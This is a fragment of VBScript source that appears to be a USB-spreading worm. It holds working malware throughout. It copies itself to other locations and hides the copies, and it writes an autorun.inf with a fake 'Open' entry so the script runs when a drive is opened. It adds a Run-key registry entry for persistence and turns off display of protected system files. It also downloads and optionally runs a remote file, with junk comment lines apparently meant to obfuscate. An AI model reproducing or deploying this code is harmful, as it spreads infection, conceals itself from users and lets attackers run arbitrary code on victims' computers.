function copyfile(file,where)
shuxing where,0
if fso.FileExists(file) then FSO.CopyFile file,where,True
end function
function copyvbs(where)
shuxing where,0
set self=fso.opentextfile(mulu&ouwnname,1)
vbscopy=self.readall
self.close
set vbs = fso.CreateTextFile(where, True)
vbs.write vbscopy
vbs.close
shuxing where,2+4
end function
function zhuce()
RegPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run\"
Type_Name="REG_SZ"
Key_Name="explorer"
Key_Data="`.vbe"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function
function yincang()
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"
Type_Name="REG_DWORD"
Key_Name="ShowSuperHidden"
Key_Data="00000000"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function
function buildinf(exever,exename,adv)
shuxing mulu&"autorun.inf",0
set ini = fso.CreateTextFile(mulu&"autorun.inf", True)
ini.writeline tile
ini.writeline "[AutoRun]"
ini.writeline about
ini.writeline "open=WScript.exe .\`.vbs"
ini.writeline exever
ini.writeline "shell\open=打开(&O)"
ini.writeline exename
ini.writeline "shell\open\Command=WScript.exe .\`.vbs"
ini.writeline "shell\open\Default=1"
ini.writeline adv
ini.close
shuxing mulu&"autorun.inf",1+2+4
end function
function readtxt(where,line)
if fso.FileExists(where) then
Set readfile = fso.OpenTextFile(where, 1)
i=0
do while i<line
i=i+1
strLine = readfile.ReadLine
loop
readfile.Close
readtxt=strLine
else
readtxt="not_found"
end if
end function
function shuxing(file,change)
if fso.FileExists(file) then
Set oFile = FSO.GetFile(file)
oFile.Attributes = change
Set oFile = Nothing
end if
end function
function downfile(localfile,urlfile,runfile)
shuxing localfile,0
iLocal = LCase(localfile)
iRemote = LCase(urlfile)
'if 1=2 then Wscript.echo "Impossible!"
Set xPost = CreateObject("Microsoft.XMLHTTP")
'if 1=2 then Wscript.echo "Impossible!"
xPost.Open "get",iRemote,0
'if 1=2 then Wscript.echo "Impossible!"
xPost.Send()
'if 1=2 then Wscript.echo "Impossible!"
Set sGet = CreateObject("ADODB.Stream")
'if 1=2 then Wscript.echo "Impossible!"
sGet.Mode = 3
'if 1=2 then Wscript.echo "Impossible!"
sGet.Type = 1
'if 1=2 then Wscript.echo "Impossible!"
sGet.Open()
'if 1=2 then Wscript.echo "Impossible!"
sGet.Write(xPost.responseBody)
'if 1=2 then Wscript.echo "Impossible!"
sGet.SaveToFile iLocal,2
'if 1=2 then Wscript.echo "Impossible!"
shuxing localfile,2+4
if runfile=1 then Wsh.run iLocal
end function